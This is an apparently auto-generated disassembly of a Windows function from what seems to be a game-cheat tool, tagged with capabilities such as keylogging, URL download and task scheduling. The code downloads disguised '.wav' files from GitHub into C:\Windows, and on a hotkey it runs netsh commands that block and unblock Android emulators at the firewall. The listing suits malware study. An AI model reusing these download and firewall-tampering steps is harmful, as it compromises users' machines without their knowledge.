Function at 0x140056f30
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Download url
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Schedule task via at
Set registry value
Terminate process

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0xd60]
sub rsp, 0xe60
xor r12d, r12d
lea rcx, [0x140167540]
mov r15d, r12d
mov dword [rbp - 0x80], r12d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test al, al
nop
nop
nop
nop
nop
nop
call fcn.140050fa0
mov rdx, rax
call fcn.14004ffb0
test eax, eax
je 0x140056f9d
mov r8d, eax
mov dword [0x1401672f0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401672f8], rax
call fcn.140050fa0
mov rdx, rax
call fcn.14004ffb0
test eax, eax
je 0x140056fcb
mov r8d, eax
mov dword [0x1401672f0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401672f8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x2f0]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14005c3f4
mov rcx, qword [rbp + 0x2f0]
lea rax, [rbp + 0x2f8]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x78]
mov dword [rsp + 0x78], r12d
mov edx, reloc.WS2_32.dll_sendto
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14005c3f4
cmp dword [rsp + 0x78], r12d
setne al
test al, al
je 0x14005c3f4
call fcn.14004e1a0
mov ecx, 8
call fcn.1400c5c20
lea rcx, [0x14004cc60]
mov r9, rax
lea r8, [0x140061370]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xf0], rax
test rax, rax
je 0x14005c3e1
mov qword [rsp + 0xe58], r13
mov r13d, 1
mov qword [rsp + 0xe80], rbx
mov qword [rsp + 0xe88], rsi
mov qword [rsp + 0xe90], rdi
mov qword [rsp + 0xe50], r14
movaps xmmword [rsp + 0xe40], xmm6
movaps xmmword [rsp + 0xe30], xmm7
movaps xmmword [rsp + 0xe20], xmm8
movaps xmmword [rsp + 0xe10], xmm9
movaps xmmword [rsp + 0xe00], xmm10
movaps xmmword [rsp + 0xdf0], xmm11
movaps xmmword [rsp + 0xde0], xmm12
movaps xmmword [rsp + 0xdd0], xmm13
movaps xmmword [rsp + 0xdc0], xmm14
movaps xmmword [rsp + 0xdb0], xmm15
cmp dword [rbp + 0xf8], r12d
je 0x14005c3d7
movaps xmm0, xmmword [rbp + 0xf0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xf0], xmm0
call fcn.14004ccc0
movzx eax, word [0x1400e74b0]
lea r8, [rbp + 0x718]
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_yassine12345_UI_uy_main_0704.WAV]
lea rdx, [rbp + 0x980]
movaps xmm1, xmmword [0x1400e7480]
xor r9d, r9d
movaps xmmword [rbp + 0x980], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1400e7490]
mov word [rbp + 0x9c0], ax
movzx eax, byte [0x1400e74b2]
movaps xmmword [rbp + 0x9a0], xmm0
movups xmm0, xmmword [str.C:Windows0704.wav]
mov byte [rbp + 0x9c2], al
mov eax, dword [0x1400e74c8]
movaps xmmword [rbp + 0x990], xmm1
movaps xmm1, xmmword [0x1400e74a0]
movups xmmword [rbp + 0x718], xmm0
mov dword [rbp + 0x728], eax
movaps xmmword [rbp + 0x9b0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_ziitx_xactivar_main_xactivar.wav]
lea r8, [rbp + 0x858]
movaps xmm1, xmmword [0x1400e74e0]
lea rdx, [rbp + 0x9d0]
movzx eax, word [0x1400e7510]
xor r9d, r9d
movaps xmmword [rbp + 0x9d0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1400e74f0]
movaps xmmword [rbp + 0x9f0], xmm0
movups xmm0, xmmword [str.C:Windowsxactivar.wav]
mov word [rbp + 0xa10], ax
movzx eax, byte [0x1400e7512]
movups xmmword [rbp + 0x858], xmm0
mov byte [rbp + 0xa12], al
movsd xmm0, qword [0x1400e6d10]
movaps xmmword [rbp + 0x9e0], xmm1
movaps xmm1, xmmword [0x1400e7500]
movsd qword [rbp + 0x868], xmm0
movaps xmmword [rbp + 0xa00], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140050080
call fcn.140050080
mov rdx, rax
call fcn.14004ffb0
test eax, eax
je 0x140057292
mov r8d, eax
mov dword [0x140167300], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140167308], rax
call fcn.140050080
call fcn.140050080
mov rdx, rax
call fcn.14004ffb0
test eax, eax
je 0x1400573a2
mov r8d, eax
mov dword [0x140167300], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140167308], rax
test rax, rax
je 0x1400573a2
mov eax, dword [0x1400e7548]
lea r8, [rbp + 0x1f0]
movups xmm1, xmmword [0x140144bb8]
mov qword [rbp + 0x200], reloc.WS2_32.dll_ntohs
lea rdx, [rbp + 0x308]
xorps xmm0, xmm0
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x1f8], eax
movzx eax, word [0x1400e754c]
movsd xmm0, qword [str.Emulator_Found_]
mov word [rbp + 0x1fc], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_33]
movsd qword [rbp + 0x1f0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
mov byte [rbp + 0x1fe], al
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
movsd xmm0, qword [str.no_name]
mov word [rbp + 0x310], ax
movzx eax, byte [0x1400e753a]
mov byte [rbp + 0x312], al
mov byte [rbp + 0x1ff], r12b
mov qword [rbp + 0x318], recvfrom
mov qword [rbp + 0x320], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x308], xmm0
mov byte [rbp + 0x313], r12b
movdqa xmmword [rsp + 0x60], xmm1
jmp 0x140057460
movups xmm6, xmmword [0x140144bb8]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x600], r12
call fcn.1400c5c20
movups xmm0, xmmword [str.Emulator_Not_Found_]
mov qword [rbp + 0x5f8], rax
lea r8, [rbp + 0x5f8]
mov qword [rbp + 0x608], reloc.WS2_32.dll_send
lea rdx, [rbp + 0x2d0]
mov qword [rbp + 0x610], Ordinal_32
movups xmmword [rax], xmm0
movzx ecx, word [0x1400e7528]
mov word [rax + 0x10], cx
xorps xmm0, xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_33]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], r12b
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
movups xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2d8], ax
movzx eax, byte [0x1400e753a]
movsd xmm0, qword [str.no_name]
mov byte [rbp + 0x2da], al
mov qword [rbp + 0x2e0], recvfrom
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2db], r12b
movdqa xmmword [rsp + 0x60], xmm6
lea r9, [rsp + 0x60]
call fcn.14004bd10
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x140146230], rax
test rax, rax
jne 0x140057615
movups xmm6, xmmword [0x140144bb8]
mov ecx, Ordinal_50
mov qword [rbp + 0x640], r12
call fcn.1400c5c20
movups xmm0, xmmword [str._Failed_to_create_mutex._Error_code]
mov qword [rbp + 0x638], rax
lea r9, [rsp + 0x60]
mov qword [rbp + 0x648], Ordinal_45
lea r8, [rbp + 0x638]
mov qword [rbp + 0x650], Ordinal_50
lea rdx, [rbp + 0x2b0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e7560]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm6
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400e7570]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], r12b
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
movups xmmword [rbp + 0x2b0], xmm0
mov word [rbp + 0x2b8], ax
movzx eax, byte [0x1400e753a]
movsd xmm0, qword [str.no_name]
mov byte [rbp + 0x2ba], al
mov qword [rbp + 0x2c0], recvfrom
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x2bb], r12b
call fcn.14004bd10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_mutex._Error_code:
call fcn.14005f550
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14005f730]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, r13d
movaps xmm14, xmmword [rsp + 0xdc0]
movaps xmm13, xmmword [rsp + 0xdd0]
movaps xmm12, xmmword [rsp + 0xde0]
movaps xmm11, xmmword [rsp + 0xdf0]
movaps xmm10, xmmword [rsp + 0xe00]
movaps xmm9, xmmword [rsp + 0xe10]
movaps xmm8, xmmword [rsp + 0xe20]
movaps xmm7, xmmword [rsp + 0xe30]
movaps xmm6, xmmword [rsp + 0xe40]
mov r14, qword [rsp + 0xe50]
mov rbx, qword [rsp + 0xe80]
mov rdi, qword [rsp + 0xe90]
mov rsi, qword [rsp + 0xe88]
movaps xmm15, xmmword [rsp + 0xdb0]
mov r13, qword [rsp + 0xe58]
add rsp, 0xe60
pop r15
pop r12
pop rbp
ret
mov qword [rsp + 0x28], r12
lea r8, [0x140056a80]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140056a80]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x1400576a2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_thread._Error_code:
call fcn.14005f550
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14005f730]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140146230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140057585
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140146230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x1400566a0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x140167540]
nop
nop
nop
nop
nop
lea rax, [0x14004fe80]
mov dword [rbp + 0x330], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x338], rax
xor ecx, ecx
mov dword [rbp + 0x334], 0x40
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x348], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x350], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.XBOOT_XITER
mov qword [rbp + 0x360], r12
mov edx, 0x7f00
mov qword [rbp + 0x358], rax
xor ecx, ecx
mov qword [rbp + 0x368], r14
mov qword [rbp + 0x370], r14
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x330]
mov qword [rbp + 0x378], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140144b04]
mov ecx, r13d
cvttss2si esi, dword [0x140144b00]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140144b04]
xor ecx, ecx
mulss xmm0, dword [0x1400e8400]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140144b00]
mov r9d, 0x80000000
mulss xmm0, dword [0x1400e8400]
cdq
mov qword [rsp + 0x58], r12
sub eax, edx
mov rdx, qword [rbp + 0x370]
mov r8, r14
mov qword [rsp + 0x50], r12
xor ecx, ecx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
sar eax, 1
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x140146248], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x140146248]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140146248]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400e85d0]
lea rdx, [rbp + 0x8b8]
mov rcx, qword [0x140146248]
movdqu xmmword [rbp + 0x8b8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
cvttss2si r9d, dword [0x140144b04]
mov dword [rsp + 0x28], 0xa
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0xa
cvttss2si r8d, dword [0x140144b00]
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x140146248]
mov r8d, r13d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rcx, qword [0x140146248]
lea rdx, [0x140146258]
xorps xmm0, xmm0
movups xmmword [0x140146258], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140146248]
lea rbx, [0x14016bbc0]
mov qword [rsp + 0x58], rbx
lea rdi, [0x14016bbb8]
mov qword [rbp + 0x250], rax
lea rsi, [0x14016bbb0]
lea rax, [rbp - 0x50]
mov qword [rbp + 0x234], r12
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x220]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r13d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x40]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x248], 2
mov qword [rbp + 0x260], 2
mov qword [rbp + 0x220], r12
mov dword [rbp + 0x230], Ordinal_32
mov dword [rbp + 0x228], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x22c], r13d
mov dword [rbp + 0x244], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x23c], r13
mov qword [rbp + 0x258], r13
mov dword [rbp - 0x40], 0xb000
mov dword [rbp - 0x3c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x140057a20
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x220]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x40]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x14005c3b9
mov rcx, qword [0x14016bbb0]
lea r9, [rbp + 0x110]
lea r8, [0x1400e6320]
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [0x14016bbb8]
lea r9, [0x14016bba8]
mov rdx, qword [rbp + 0x110]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x110]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140146248]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140146248]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.1400067f0
call fcn.1400087a0
movss xmm3, dword [0x1400e84d4]
lea rdi, [0x1400e4c10]
mov qword [rsp + 0x28], rdi
lea rdx, [0x14011c100]
mov r8d, 0x26a20
mov qword [rsp + 0x20], r12
mov rcx, qword [rax + 0x50]
mov rbx, rax
call fcn.140030090
movss xmm3, dword [0x1400e84e4]
lea rdx, [0x1400fb120]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x20fe0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
call fcn.140030090
movss xmm3, dword [0x1400e84cc]
lea rdx, [0x14011c100]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x26a20
mov qword [rsp + 0x28], rdi
mov qword [0x14016cfe8], rax
mov qword [rsp + 0x20], r12
call fcn.140030090
movss xmm3, dword [0x1400e84d0]
lea rdx, [0x140142b20]
mov rcx, qword [rbx + 0x50]
mov r8d, 0xb80
mov qword [rsp + 0x28], rdi
mov qword [0x14016bbe8], rax
mov qword [rsp + 0x20], r12
call fcn.140030090
xor ecx, ecx
mov qword [0x14016bbe0], rax
call fcn.140028390
call fcn.1400499b0
call fcn.140049740
call fcn.140004ac0
movss xmm1, dword [0x1400e8474]
xorps xmm9, xmm9
movss xmm0, dword [0x1400e8484]
xor r14b, r14b
movss xmm11, dword [0x1400e8500]
movss xmm15, dword [0x1400e84c4]
movss xmm12, dword [0x1400e8424]
movss xmm13, dword [0x1400e83c0]
movss xmm14, dword [0x1400e84b0]
unpcklps xmm0, xmm1
movsd qword [rax + 0x3c], xmm0
xorps xmm0, xmm0
mov dword [rax + 0x44], 0x3f800000
mov qword [rax + 0x10], 0x40000000
mov dword [rax + 0x38], r12d
unpcklps xmm0, xmm9
movsd qword [rax + 8], xmm0
mov dword [rax + 0x30], 0x41200000
mov dword [rax + 0xc8], r12d
movss xmm10, dword [0x1400e8510]
movss xmm8, dword [0x1400e8554]
lea rcx, [rbp + 0x950]
movss xmm7, dword [0x1400e8560]
lea rbx, [0x140053530]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
xor edx, edx
movabs rsi, 0x7ffffffffffffff
movabs rdi, 0x7fffffffffffffff
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140057c92
lea rcx, [rbp + 0x950]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x950]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x958], 0x12
lea rcx, [rbp + 0x950]
movzx r14d, r14b
cmove r14d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140057c42
test r14b, r14b
jne 0x14005c2f4
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
jne 0x14005c3b0
mov ecx, dword [0x140146278]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140057e62
cmp byte [0x14014728c], r12b
jne 0x140057e62
mov edx, 0x384
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movsxd rbx, dword [0x140146250]
lea rcx, [rbp + 0x300]
call fcn.14004bc30
mov rcx, qword [rbp + 0x300]
mov qword [rbp - 0x38], rcx
test rbx, rbx
jle 0x140057dcf
imul rdx, rbx, 0x3b9aca00
mov rax, rdi
sub rax, rdx
cmp rcx, rax
jge 0x140057dcb
lea rax, [rdx + rcx]
mov qword [rbp - 0x38], rax
jmp 0x140057dcf
mov qword [rbp - 0x38], rdi
lea rcx, [rbp - 0x38]
call fcn.1400609a0
mov edx, 0x384
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rulall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 2
mov byte [0x14014728c], r13b
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x14014728c], r12b
lea rbx, [0x140053530]
mov ecx, dword [0x140146270]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140057eed
mov ecx, 8
call fcn.1400c5c20
lea rcx, [rbp + 0x128]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140061370]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
mov qword [rax], rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x120], rax
test rax, rax
je 0x14005c330
cmp dword [rbp + 0x128], r12d
je 0x14005c3d7
movaps xmm0, xmmword [rbp + 0x120]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
mov ecx, dword [0x140146140]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140057f83
mov ecx, 8
call fcn.1400c5c20
lea rcx, [0x140052f10]
mov r9, rax
lea r8, [0x140061370]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x138]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x130], rax
test rax, rax
je 0x14005c343
cmp dword [rbp + 0x138], r12d
je 0x14005c3d7
movaps xmm0, xmmword [rbp + 0x130]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov ecx, dword [0x140146238]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140058019
mov ecx, 8
call fcn.1400c5c20
lea rcx, [fcn.140001c20]
mov r9, rax
lea r8, [0x140061370]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x14005c356
cmp dword [rbp + 0x148], r12d
je 0x14005c3d7
movaps xmm0, xmmword [rbp + 0x140]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
mov ecx, dword [0x140146274]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x1400580af
mov ecx, 8
call fcn.1400c5c20
lea rcx, [fcn.140001c20]
mov r9, rax
lea r8, [0x140061370]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x14005c369
cmp dword [rbp + 0x158], r12d
je 0x14005c3d7
